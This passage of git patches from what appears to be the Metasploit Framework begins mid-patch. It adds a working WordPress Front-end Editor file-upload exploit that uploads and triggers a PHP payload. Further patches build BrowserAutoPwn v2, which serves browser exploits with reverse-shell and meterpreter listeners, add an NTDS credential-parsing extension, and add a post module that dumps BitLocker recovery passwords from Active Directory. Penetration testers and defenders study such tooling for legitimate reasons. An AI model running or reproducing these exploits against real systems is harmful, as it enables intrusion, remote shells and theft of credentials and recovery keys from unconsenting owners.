split_history = raw_history.scan(/.{1,33}/) + split_history.map!{ |hash| hash.gsub(/\x00/,'')} + split_history.reject!{ |hash| hash.blank? } + end + + def get_int(data) + data.slice!(0,4).unpack('L').first + end + + def get_string(data,length) + data.slice!(0,length).gsub(/\x00/,'') + end + end + end + end +end diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index 71575128f9..65f2b34e82 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -95,6 +95,17 @@ class Priv < Extension } end + def ntds_parse(filepath) + request = Packet.create_request( 'priv_ntds_parse' ) + request.add_tlv( TLV_TYPE_NTDS_PATH, filepath) + response = client.send_request( request, 90 ) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + if channel_id.nil? + raise Exception, "We did not get a channel back!" + end + channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client, channel_id, "priv_ntds", CHANNEL_FLAG_SYNCHRONOUS) + end + # # Modifying privileged file system attributes. # diff --git a/lib/rex/post/meterpreter/extensions/priv/tlv.rb b/lib/rex/post/meterpreter/extensions/priv/tlv.rb index 92cf1b7f4a..37fbc50bc5 100644 --- a/lib/rex/post/meterpreter/extensions/priv/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/tlv.rb @@ -22,6 +22,9 @@ TLV_TYPE_ELEVATE_SERVICE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2 TLV_TYPE_ELEVATE_SERVICE_DLL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 202) TLV_TYPE_ELEVATE_SERVICE_LENGTH = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 203) +#NTDS +TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 301) + end end end From a4b4d7cf6a645b43522ccca0fee21ebdda2bd62a Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Sat, 25 Apr 2015 22:00:05 -0300 Subject: [PATCH 0021/1013] Add WordPress Front-end Editor File Upload Vuln --- .../webapp/wp_frontend_editor_file_upload.rb | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb new file mode 100644 index 0000000000..e9c413891a --- /dev/null +++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress Front-end Editor File Upload', + 'Description' => %q{ + The Wordpress Front-end Editor plugin contains an authenticated file upload + vulnerability. We can upload arbitrary files to the upload folder, because + the plugin also uses it's own file upload mechanism instead of the wordpress + api it's possible to upload any file type. + }, + 'Author' => + [ + 'Sammy', # Vulnerability discovery + 'Roberto Soares Espreto ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '83637'], + ['WPVDB', '7569'], + ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Front-End Editor 2.2.1', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 04 2012')) + end + + def check + check_plugin_version_from_readme('front-end-editor', '2.3') + end + + def exploit + print_status("#{peer} - Trying to upload payload") + filename = "#{rand_text_alpha_lower(5)}.php" + + print_status("#{peer} - Uploading payload") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'), + 'ctype' => 'application/octet-stream', + 'headers' => { + 'X-File-Name' => "#{filename}" + }, + 'data' => payload.encoded + ) + + if res + if res.code == 200 + register_files_for_cleanup(filename) + else + fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") + end + else + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + + print_status("#{peer} - Calling uploaded file #{filename}") + send_request_cgi( + { 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") }, + 5 + ) + end +end From b537c8ae2c89e1e64157293f6726d10e39fb61e1 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Sun, 26 Apr 2015 01:28:55 -0300 Subject: [PATCH 0022/1013] Changed fail_with output. --- modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb index e9c413891a..1c9663d6d0 100644 --- a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote if res.code == 200 register_files_for_cleanup(filename) else - fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") + fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') From 43492b7c67331e6f687c42dc82612655af43ba2f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 28 Apr 2015 18:17:32 -0500 Subject: [PATCH 0023/1013] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 85 +++++++++++++++++++++-- lib/msf/core/exploit/http/server.rb | 6 +- lib/msf/core/exploit/tcp_server.rb | 8 ++- modules/exploits/multi/browser/autopwn.rb | 4 +- 4 files changed, 92 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 03789a10f5..12703fd5f8 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -20,6 +20,7 @@ module Msf # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. + # The loader order is specific. DEFAULT_PAYLOADS = { 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -86,7 +87,8 @@ module Msf xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP - xploit.datastore['URI'] = "/#{assign_module_resource}" # A unique resource URI for the exploit + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit + xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode end @@ -235,7 +237,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - $stderr.puts multi_handler.inspect + #$stderr.puts multi_handler.inspect end end @@ -249,6 +251,71 @@ module Msf end + def parse_rank(rank) + rank_str = '' + + case rank + when 0 + rank_str = 'Manual' + when 100 + rank_str = 'Low' + when 200 + rank_str = 'Average' + when 300 + rank_str = 'Normal' + when 400 + rank_str = 'Good' + when 500 + rank_str = 'Great' + when 600 + rank_str = 'Excellent' + end + + rank_str + end + + + def select_payload(m) + selected_payload = DEFAULT_PAYLOADS['generic']['payload'] + DEFAULT_PAYLOADS.each_pair do |p, info| + preferred = info['payload'] + m.compatible_payloads.each do |k| + return preferred if k[0] == preferred + end + end + + selected_payload + end + + + def start_exploits + order = 1 + table = Rex::Ui::Text::Table.new( + "Header" => "Exploits", + "Indent" => 1, + "Columns" => ["Order", "Rank", "Name", "URI"] + ) + + bap_exploits.each do |m| + m.exploit_simple( + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Target' => 0, + 'Payload' => select_payload(m), + 'RunAsJob' => true + ) + table << [order.to_s, parse_rank(rank), m.shortname, m.get_resource] + order += 1 + end + + print_line + print_status("The following is a list of exploits that are ready for BrowserAutopwn.") + print_status("Exploits with the highest ranking and newest will be tried first.") + print_line + print_line table.to_s + end + + # Sets up BAPv2. This is like our main function. # # @see #init_exploits @@ -256,18 +323,26 @@ module Msf # @return [void] def setup t1 = Time.now + self.datastore['MODULEOWNER'] = 'BAP' super print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits -# $stderr.puts -# $stderr.puts list_bap_names print_status("#{@bap_exploits.length} BES exploits found.") print_status("Starting listeners...") start_payload_listeners + print_status("Starting exploit modules...") + start_exploits t2 = Time.now - $stderr.puts (t2-t1).inspect + print_line + print_status("Time spent: #{(t2-t1).inspect}") + end + + def start_service + super + print_status("Please use the following URL for the browser attack:") + print_status("BrowserAutoPwn URL: #{self.get_uri}") end end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 7e52027dd5..ae54676bcb 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -226,9 +226,11 @@ module Exploit::Remote::HttpServer print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end - print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + end - if (opts['ServerHost'] == '0.0.0.0') + if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != 'BAP' print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 771a1bad6b..3d53977a14 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -47,7 +47,9 @@ module Exploit::Remote::TcpServer def exploit start_service() - print_status("Server started.") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Server started.") + end # Call the exploit primer primer @@ -69,7 +71,9 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - print_status("Server stopped.") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Server stopped.") + end end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 1edbcc95aa..ba227899d2 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -42,8 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_exploit(cli, request, target_info) - $stderr.puts get_target.inspect - $stderr.puts find_suitable_exploits(target_info) + #$stderr.puts get_target.inspect + #$stderr.puts find_suitable_exploits(target_info) send_exploit_html(cli, 'OK') end From 43f5323e8dc007059e5d89aef9743ad4213ad6a0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 28 Apr 2015 21:26:31 -0500 Subject: [PATCH 0024/1013] More progress --- lib/msf/core/exploit/browserautopwnv2.rb | 100 ++++++++++------------- lib/msf/core/exploit/http/server.rb | 4 + 2 files changed, 47 insertions(+), 57 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 12703fd5f8..a4e54f02de 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,12 +22,12 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific. DEFAULT_PAYLOADS = { + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, -# 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } } @@ -80,7 +80,7 @@ module Msf # # @return [void] def set_exploit_options(xploit) - p = pick_default_payload(xploit) + p = select_payload(xploit) xploit.datastore['DisablePayloadHandler'] = true # BAP should handle the handlers xploit.datastore['PAYLOAD'] = p['payload'] # We'll need this information later for multi handler xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler @@ -121,37 +121,6 @@ module Msf end - # Returns a preferred default payload. The load order is based on this preference: - # if there is a browser-specific payload (such as firefox), then we'll use that as default. - # And then we fall back to the module's platform. If there's nothing we can choose, - # then we'll just use the generic reverse shell. - # - # @see DEFAULT_PAYLOADS - # @param [Class] The initialized exploit object. - # @return [Hash] The default payload information from DEFAULT_PAYLOADS. - def pick_default_payload(m) - module_platforms = m.platform.platforms - preferred_payload = DEFAULT_PAYLOADS['generic'] - - # Specific load order - if module_platforms.include?('firefox') - preferred_payload = DEFAULT_PAYLOADS['firefox'] - elsif module_platforms.include?('java') - preferred_payload = DEFAULT_PAYLOADS['java'] - elsif module_platforms.include?('android') - preferred_payload = DEFAULT_PAYLOADS['android'] - elsif module_platforms.include?('win') - preferred_payload = DEFAULT_PAYLOADS['win'] - elsif module_platforms.include?('linux') - preferred_payload = DEFAULT_PAYLOADS['linux'] - elsif module_platforms.include?('osx') - preferred_payload = DEFAULT_PAYLOADS['osx'] - end - - preferred_payload - end - - # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. # # @see #bap_exploits The read-only attribute. @@ -226,6 +195,7 @@ module Msf def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| multi_handler = framework.modules.create('exploit/multi/handler') + multi_handler.datastore['LHOST'] = '0.0.0.0' multi_handler.datastore['PAYLOAD'] = listener_info['payload'] multi_handler.datastore['LPORT'] = listener_info['lport'] multi_handler.datastore['EXITONSESSION'] = false @@ -237,7 +207,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - #$stderr.puts multi_handler.inspect + $stderr.puts multi_handler.inspect end end @@ -276,11 +246,11 @@ module Msf def select_payload(m) - selected_payload = DEFAULT_PAYLOADS['generic']['payload'] + selected_payload = DEFAULT_PAYLOADS['generic'] DEFAULT_PAYLOADS.each_pair do |p, info| preferred = info['payload'] m.compatible_payloads.each do |k| - return preferred if k[0] == preferred + return info if k[0] == preferred end end @@ -289,30 +259,15 @@ module Msf def start_exploits - order = 1 - table = Rex::Ui::Text::Table.new( - "Header" => "Exploits", - "Indent" => 1, - "Columns" => ["Order", "Rank", "Name", "URI"] - ) - bap_exploits.each do |m| m.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Target' => 0, - 'Payload' => select_payload(m), - 'RunAsJob' => true + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Target' => 0, + 'Payload' => m.datastore['PAYLOAD'], + 'RunAsJob' => true ) - table << [order.to_s, parse_rank(rank), m.shortname, m.get_resource] - order += 1 end - - print_line - print_status("The following is a list of exploits that are ready for BrowserAutopwn.") - print_status("Exploits with the highest ranking and newest will be tried first.") - print_line - print_line table.to_s end @@ -334,15 +289,46 @@ module Msf start_payload_listeners print_status("Starting exploit modules...") start_exploits + show_ready_exploits t2 = Time.now print_line print_status("Time spent: #{(t2-t1).inspect}") end + + def show_ready_exploits + order = 1 + table = Rex::Ui::Text::Table.new( + "Header" => "Exploits", + "Indent" => 1, + "Columns" => ["Order", "Rank", "Name", "PATH", "Payload"] + ) + + bap_exploits.each do |m| + table << [ + order.to_s, + parse_rank(m.rank), + m.shortname, + m.datastore['URIPATH'], + "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + ] + order += 1 + end + + print_line + print_status("The following is a list of exploits that are ready for BrowserAutopwn.") + print_status("Exploits with the highest ranking and newest will be tried first.") + print_line + print_line table.to_s + end + + def start_service super print_status("Please use the following URL for the browser attack:") print_status("BrowserAutoPwn URL: #{self.get_uri}") +# $stderr.puts +# $stderr.puts bap_exploits.inspect end end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index ae54676bcb..bba5e70a4b 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -460,6 +460,10 @@ module Exploit::Remote::HttpServer @service_path ? @service_path.dup : nil end + def blah + @my_resources.inspect + end + # # Return a full url of the form http://1.1.1.1:8080/resource/ # From 65b7659d27ac5851e1f373eaddd496fd3e28ffb4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 01:01:36 -0500 Subject: [PATCH 0025/1013] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 40 +++++++++++++++--------- lib/msf/core/exploit/http/server.rb | 4 --- lib/msf/core/handler/reverse_tcp.rb | 5 +-- modules/exploits/multi/handler.rb | 4 ++- 4 files changed, 32 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index a4e54f02de..3ede415109 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -51,7 +51,8 @@ module Msf # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits - @bap_exploits = [] # Initialized BES modules are held here + # Initialized BES modules are held here + @bap_exploits = [] init_exploit_paths.each do |m| module_name = m.first @@ -188,26 +189,40 @@ module Msf end + def is_payload_handler_wanted?(payload_name) + bap_exploits.each do |m| + return true if m.datastore['PAYLOAD'] == payload_name + end + + false + end + + # Creates payload listeners. # # @note INCOMPLETE # @return [void] def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| + # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload + next if listener_info['payload'] == 'firefox/shell_reverse_tcp' + + # Don't waste resources. This shaves about a second in loading speed. + next unless is_payload_handler_wanted?(listener_info['payload']) + multi_handler = framework.modules.create('exploit/multi/handler') multi_handler.datastore['LHOST'] = '0.0.0.0' multi_handler.datastore['PAYLOAD'] = listener_info['payload'] multi_handler.datastore['LPORT'] = listener_info['lport'] multi_handler.datastore['EXITONSESSION'] = false multi_handler.datastore['EXITFUNC'] = 'thread' -# multi_handler.datastore['ReverseListenerBindAddress'] = datastore['ReverseListenerBindAddress'] + multi_handler.datastore['MODULEOWNER'] = 'BAP' multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - $stderr.puts multi_handler.inspect end end @@ -280,16 +295,18 @@ module Msf t1 = Time.now self.datastore['MODULEOWNER'] = 'BAP' super + print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits print_status("#{@bap_exploits.length} BES exploits found.") - print_status("Starting listeners...") - start_payload_listeners print_status("Starting exploit modules...") start_exploits - show_ready_exploits + + print_status("Starting listeners...") + start_payload_listeners + t2 = Time.now print_line print_status("Time spent: #{(t2-t1).inspect}") @@ -297,38 +314,33 @@ module Msf def show_ready_exploits - order = 1 table = Rex::Ui::Text::Table.new( "Header" => "Exploits", "Indent" => 1, - "Columns" => ["Order", "Rank", "Name", "PATH", "Payload"] + "Columns" => ["Rank", "Name", "Path", "Payload"] ) bap_exploits.each do |m| table << [ - order.to_s, parse_rank(m.rank), m.shortname, m.datastore['URIPATH'], "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" ] - order += 1 end print_line - print_status("The following is a list of exploits that are ready for BrowserAutopwn.") + print_status("The following is a list of exploits that BrowserAutoPwn will consider using.") print_status("Exploits with the highest ranking and newest will be tried first.") print_line print_line table.to_s end - def start_service super + show_ready_exploits print_status("Please use the following URL for the browser attack:") print_status("BrowserAutoPwn URL: #{self.get_uri}") -# $stderr.puts -# $stderr.puts bap_exploits.inspect end end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index bba5e70a4b..ae54676bcb 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -460,10 +460,6 @@ module Exploit::Remote::HttpServer @service_path ? @service_path.dup : nil end - def blah - @my_resources.inspect - end - # # Return a full url of the form http://1.1.1.1:8080/resource/ # diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index f66a947093..8d7dd0454c 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -108,8 +108,9 @@ module ReverseTcp else via = "" end - - print_status("Started reverse handler on #{ip}:#{local_port} #{via}") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Started reverse handler on #{ip}:#{local_port} #{via}") + end break rescue ex = $! diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 1c4f635b8e..ef0ee4271b 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote end stime = Time.now.to_f - print_status "Starting the payload handler..." + unless datastore['MODULEOWNER'] == 'BAP' + print_status "Starting the payload handler..." + end while(true) break if session_created? and datastore['ExitOnSession'] break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) ) From 39663a7e1887ef9399af1ff62edc7d9e5732df87 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 01:19:39 -0500 Subject: [PATCH 0026/1013] Some progress --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index ca75c309c0..5880dd1fd3 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -633,3 +633,13 @@ module Msf end end + + + +=begin + +TODO: +Use notes to store client profiles, and then use framework.db.get_host(address: "10.6.0.121") +to retrieve notes in order to look up a profile. + +=end From 9cebe769c2863ef5e839c5ec5c0c346ce0255c03 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 01:29:24 -0500 Subject: [PATCH 0027/1013] Change plan --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 5880dd1fd3..2247f32749 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -639,7 +639,7 @@ end =begin TODO: -Use notes to store client profiles, and then use framework.db.get_host(address: "10.6.0.121") +Use notes to store client profiles, and then use framework.db.notes to retrieve notes in order to look up a profile. =end From 96a9313e7e842ce730f2cd27067a0f4b402137f7 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 21 Jan 2014 12:53:45 +0000 Subject: [PATCH 0028/1013] Initial commit --- .../post/windows/gather/enum_ad_bitlocker.rb | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 modules/post/windows/gather/enum_ad_bitlocker.rb diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb new file mode 100644 index 0000000000..74b378eb73 --- /dev/null +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -0,0 +1,86 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + include Msf::Post::Windows::LDAP + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Active Directory Bitlocker Recovery', + 'Description' => %Q{ + This module will enumerate bitlocker reocvery passwords in the default AD + directory. Requires Domain Admin or other delegated privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell ' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + ['URL', 'tbc'], + ] + )) + + register_options([ + OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 50]), + OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), + OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']), + OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)']) + ], self.class) + end + + def run + fields = datastore['FIELDS'].gsub(/\s+/,"").split(',') + search_filter = datastore['FILTER'] + max_search = datastore['MAX_SEARCH'] + q = query(search_filter, max_search, fields) + + if q.nil? or q[:results].empty? + return + end + + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Bitlocker Recovery Passwords", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => fields + ) + + # Reports are collections for easy database insertion + reports = [] + q[:results].each do |result| + row = [] + + report = {} + 0.upto(fields.length-1) do |i| + if result[i].nil? + field = "" + else + field = result[i] + end + + row << field + end + + reports << report + results_table << row + end + + print_line results_table.to_s + if datastore['STORE_LOOT'] + stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv) + print_status("Results saved to: #{stored_path}") + end + end + +end + From 0d81ad4db437cdfd42d1272664a70b832cbc306a Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 24 Jan 2014 00:26:18 +0000 Subject: [PATCH 0029/1013] Remove max search --- modules/post/windows/gather/enum_ad_bitlocker.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index 74b378eb73..1afa686ad1 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -30,7 +30,6 @@ class Metasploit3 < Msf::Post )) register_options([ - OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 50]), OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']), OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)']) From 7e5b03c44ef1884ab95da34ac5c523337210b33c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 29 Apr 2015 09:48:44 +0100 Subject: [PATCH 0030/1013] Tidyup and update for new ADSI format --- .../post/windows/gather/enum_ad_bitlocker.rb | 67 ++++++++----------- 1 file changed, 28 insertions(+), 39 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index 1afa686ad1..7dd102d0c6 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -8,69 +8,60 @@ require 'msf/core' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post - include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather Active Directory Bitlocker Recovery', - 'Description' => %Q{ - This module will enumerate bitlocker reocvery passwords in the default AD - directory. Requires Domain Admin or other delegated privileges. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell ' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => - [ - ['URL', 'tbc'], - ] - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather Active Directory Bitlocker Recovery', + 'Description' => %( + This module will enumerate bitlocker reocvery passwords in the default AD + directory. Requires Domain Admin or other delegated privileges. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell ' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + ['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx'] + ] + )) register_options([ - OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), + OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]), OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']), OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)']) ], self.class) end def run - fields = datastore['FIELDS'].gsub(/\s+/,"").split(',') + fields = datastore['FIELDS'].gsub(/\s+/, "").split(',') search_filter = datastore['FILTER'] max_search = datastore['MAX_SEARCH'] q = query(search_filter, max_search, fields) - if q.nil? or q[:results].empty? + if q.nil? || q[:results].empty? + print_status('No results found...') return end # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( - 'Header' => "Bitlocker Recovery Passwords", - 'Indent' => 1, - 'SortIndex' => -1, - 'Columns' => fields - ) + 'Header' => 